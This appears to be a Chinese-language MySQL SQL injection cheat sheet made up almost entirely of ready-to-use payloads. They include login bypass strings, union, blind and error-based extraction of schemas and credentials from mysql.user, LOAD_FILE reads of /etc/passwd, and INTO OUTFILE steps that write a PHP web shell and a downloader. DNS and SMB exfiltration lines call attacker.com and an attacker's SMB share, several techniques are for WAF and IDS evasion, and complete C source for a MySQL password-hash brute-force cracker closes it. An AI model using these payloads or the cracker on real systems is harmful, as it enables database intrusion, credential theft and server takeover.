MYSQL

  默认数据库

mysql Requires root privileges
information_schema Availalble from version 5 and higher

  测试注射

False表示查询无效(MySQL错误/网站上缺少内容)

True表示查询有效(内容像往常一样显示)

字符串

     # SELECT * FROM Table WHERE id = '1';

' False
'' True
" False
"" True
\ False
\\ True
    例子:
      • SELECT * FROM Articles WHERE id = '1''';
      • SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';

    笔记:

      • 可以根据需要使用尽可能多的撇号和引号,只要它们配对即可。
      • 也可以在引号链后继续声明。
      • 报价逃脱报价。

  数字

    #SELECT * FROM Table WHERE id = 1;

AND 1 True
AND 0 False
AND true True
AND false False
1-false Returns 1 if vulnerable
1-true Returns 0 if vulnerable
1*56 Returns 56 if vulnerable
1*56 Returns 1 if not vulnerable

例子:

      • SELECT * FROM Users WHERE id = 3-2;

      笔记:

      • true is equal to 1.
      • false is equal to 0.

 

  登陆框

    # SELECT * FROM Table WHERE username = '';

' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+


  例子:

      • SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

  注释 

    注入后,以下内容可用于注释掉查询的其余部分:

# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick


例子:

      • SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
      • SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

    笔记:

      • 反引号只能在用作别名时用于结束查询。

  测试版本

    • 变量
    • VERSION()
    • @@VERSION
    • @@GLOBAL.VERSION
      例子:
      • SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

      笔记:

      • -nt-log如果DBMS在基于Windows的计算机上运行,​​则 输出将包含 。
    • 具体代码

      • /*!VERSION Specific Code*/

      例子:

        #SELECT * FROM Users limit 1,{INJECTION POINT};

/*!50094eaea*/; False - version is equal or greater than 5.00.94
/*!50096eaea*/; True - version is lesser than 5.00.96
/*!50095eaea*/; False - version is equal to 5.00.95

  笔记:

      • 在由于注入位置而无法再向查询添加SQL的情况下,确定版本非常有用。
      • 有关MySQL特定代码的更多信息,请参阅特定MySQL的代码

  数据库凭据

Table mysql.user
Columns user, password
Current User user(), current_user(), current_user, system_user(), session_user()


  例子:

      • SELECT current_user;
      • SELECT CONCAT_WS(0x3A, userpassword) FROM mysql.user WHERE user = 'root'-- (Privileged)

  数据库名称

Tables information_schema.schemata, mysql.db
Columns schema_name, db
Current DB database(), schema()


 例子:

      • SELECT database();
      • SELECT schema_name FROM information_schema.schemata;
      • SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

  服务器主机名

      • @@HOSTNAME

      例子:

      • SELECT @@hostname;

  服务器MAC地址

    通用唯一标识符是128位数字,其中最后12位数字由接口MAC地址组成。

      • UUID()

    输出:

      • aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;

    笔记:

      • 可能会在某些操作系统上返回48位随机字符串而不是MAC地址。

  表和列

order & group by

      • GROUP/ORDER BY n+1;

    笔记:

      • 继续增加数字,直到得到错误的回复。
      • 尽管GROUP BY和ORDER BY在SQL中具有不同的功能,但它们都可以以完全相同的方式用于确定查询中的列数。
    例子:

        #SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';

1' ORDER BY 1--+ True
1' ORDER BY 2--+ True
1' ORDER BY 3--+ True
1' ORDER BY 4--+ False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--+ True

  检索表

  • Union
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
  • Blind
AND SELECT SUBSTR(table_name,1,1)FROM information_schema.tables>'A'
  • Error
AND(SELECT COUNT(*)FROM(SELECT 1 UNION SELECT null UNION SELECT!1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)* 2)))
(@:= 1)|| @ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@ )HAVING @ || MIN(@:= 0);
AND ExtractValue(1,CONCAT(0x5c,(SELECT table_name FROM information_schema.tables LIMIT 1))); - 5.1.5中可用

    笔记:

        • version=10 for MySQL 5

 

  检索列

  • Union
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
  • Blind
AND SELECT SUBSTR(column_name,1,1)FROM information_schema.columns>'A'
  • Error
AND(SELECT COUNT(*)FROM(SELECT 1 UNION SELECT null UNION SELECT!1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)* 2)))
(@:= 1)|| @ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@ )HAVING @ || MIN(@:= 0);
AND ExtractValue(1,CONCAT(0x5c,(SELECT column_name FROM information_schema.columns LIMIT 1))); - 在MySQL 5.1.5中可用
AND(1,2,3)=(SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1) - 在MySQL 5.1中修复
AND(SELECT * FROM(SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b)a)
AND(SELECT * FROM(SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING(SOME_EXISTING_COLUMN))a)

一次检索多个表/列

    • SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

      例子:

      • SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

      输出:    

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
      • SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

      例子:

      • SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';

      输出:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority  

  从列名称中查找表

SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; Finds the table names for any columns named username.
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; Finds the table names for any columns that contain the word user.

  从表名中查找列

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; Finds the columns for the Users table.
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; Finds the column names for any tables that contain the word user.

  找出当前的查询

SELECT info FROM information_schema.processlist Available starting from MySQL 5.1.7.

  避免引用

SELECT * FROM Users WHERE username = 0x61646D696E Hex encoding.
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) CHAR() Function.

  字符串连接

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

笔记:

      • CONCAT()如果任何参数为NULL,则返回NULL。而是使用CONCAT_WS()
      • 第一个参数CONCAT_WS()定义了其余参数的分隔符。

  条件陈述

CASE
IF()
IFNULL()
NULLIF()

      例子:

      • SELECT IF(1=1, true, false);
      • SELECT CASE WHEN 1=1 THEN true ELSE false END;

  定时

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5


例子:

      • ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

  特权

    文件权限

      • 以下查询可帮助确定给定用户的FILE权限。
SELECT file_priv FROM mysql.user WHERE user = 'username'; Root privileges required MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; No privileges required MySQL 5

    读取文件

      • 如果用户具有FILE权限,则可以读取文件。
      • LOAD_FILE()

      例子:

      • SELECT LOAD_FILE('/etc/passwd');
      • SELECT LOAD_FILE(0x2F6574632F706173737764);

      笔记:

      • 文件必须位于服务器主机上。
      • LOAD_FILE()的基本目录是 @@datadir 
      • 该文件必须是MySQL用户可读的。
      • 文件大小必须小于max_allowed_pa​​cket。
      • 默认大小为 @@max_allowed_packet 1047552字节。

   写文件

    • 如果用户具有FILE权限,则可以创建文件。
      • INTO OUTFILE/DUMPFILE


      例子:

      • 编写PHP shell:
      • SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
      • 然后访问:
      • http://localhost/shell.php?c=cat%20/etc/passwd
      • 要写下载器:
      • SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
      • 然后访问:
      • http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

      笔记:

      • 文件无法覆盖 INTO OUTFILE 
      • INTO OUTFILE 必须是查询中的最后一个语句。
      • 无法对路径名进行编码,因此需要引号

  通道

      DNS 请求

 

SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

  SMB 请求

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

    堆叠查询

    MySQL可以进行堆栈查询,具体取决于PHP应用程序使用哪个驱动程序与数据库进行通信。

    该 PDO_MYSQL 驱动程序支持堆查询。 MySQLi (改进扩展)驱动程序还支持通过堆查询 multi_query() 功能。

     例子:

        • SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
        • SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;

MySQL-specific 代码

    MySQL允许您指定感叹号后的版本号。仅当版本大于或等于指定的版本号时,才会执行注释中的语法。

      例子:

      • UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
      • SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

      笔记:

      • 第一个示例返回版本; 它使用一个有2列的UNION。
      • 第二个示例演示了如何绕过WAF / IDS。

  模糊和混淆

    以下字符可用作空格。

 

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space


  例子:

      • '%0A%09UNION%0CSELECT%A0NULL%20%23

    括号也可用于避免使用空格。

 

28 (
29 )


  例子:

        • UNION(SELECT(column)FROM(table))

    AND / OR后允许的字符

 

20 Space
2B +
2D -
7E ~
21 !
40 @


  例子:

        • SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

      笔记:

        • dual 是一个可用于测试的虚拟表。

    用注释混淆

      注释可用于分解查询以欺骗WAF / IDS并避免检测。通过使用#或 - 后跟换行符,我们可以将查询拆分为单独的行。

    例子:

      • 1'# 
        AND 0-- 
        UNION# I am a comment! 
        SELECT@tmp:=table_name x FROM-- 
        `information_schema`.tables LIMIT 1# 

    URL编码注入看起来像:

      • 1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

    某些函数也可以使用注释和空格进行混淆。

      • VERSION/**/%A0 (/*comment*/

    编码

      编码注射有时可用于WAF / IDS规避。

URL Encoding SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP) SELECT %tab%le_%na%me FROM information_schema.tables;

    避免关键字

  如果IDS / WAF已阻止某些关键字,则可以通过其他方式绕过它而不使用编码。

      • information_schema.tables
Spaces information_schema . tables
Backticks `information_schema`.`tables`
Specific Code /*!information_schema.tables*/
Alternative Names information_schema.partitions 
information_schema.statistics 
information_schema.key_column_usage 
information_schema.table_constraints

  笔记:

      • 备用名称可能取决于表中存在的PRIMARY键。

  运算符

AND && Logical AND
= Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement)
:= Assign a value
BETWEEN ... AND ... Check whether a value is within a range of values
BINARY Cast a string to a binary string
& Bitwise AND
~ Invert bits
| Bitwise OR
^ Bitwise XOR
CASE Case operator
DIV Integer division
/ Division operator
<=> NULL-safe equal to operator
= Equal operator
>= Greater than or equal operator
> Greater than operator
IS NOT NULL NOT NULL value test
IS NOT Test a value against a boolean
IS NULL NULL value test
IS Test a value against a boolean
<< Left shift
<= Less than or equal operator
< Less than operator
LIKE Simple pattern matching
- Minus operator
% or MOD Modulo operator
NOT BETWEEN ... AND ... Check whether a value is not within a range of values
!= <> Not equal operator
NOT LIKE Negation of simple pattern matching
NOT REGEXP Negation of REGEXP
NOT ! Negates value
|| OR Logical OR
+ Addition operator
REGEXP Pattern matching using regular expressions
>> Right shift
RLIKE Synonym for REGEXP
SOUNDS LIKE Compare sounds
* Multiplication operator
- Change the sign of the argument
XOR Logical XOR

  常量

 

current_user
null, \N
true, false

 密码哈希

  在MySQL 4.1之前,由PASSWORD()函数计算的密码哈希长度为1​​6个字节。这样的哈希看起来像这样:

PASSWORD('mypass') 6f8c114b58f2ce9e

从MySQL 4.1开始,PASSWORD()函数已被修改为产生更长的41字节哈希值:

PASSWORD('mypass') *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

 密码破解

Cain&Abel和John the Ripper都能够破解MySQL 3.x-6.x密码。

可以在此处找到JTR的Metasploit模块

MySQL < 4.1 Password Cracker

  这个工具是一个用于MySQL哈希密码的高速暴力密码破解程序。它可以在普通PC上在几小时内打破包含任何可打印ASCII字符的8个字符的密码。

/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar('\n');
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}
                
View Code

相关文章: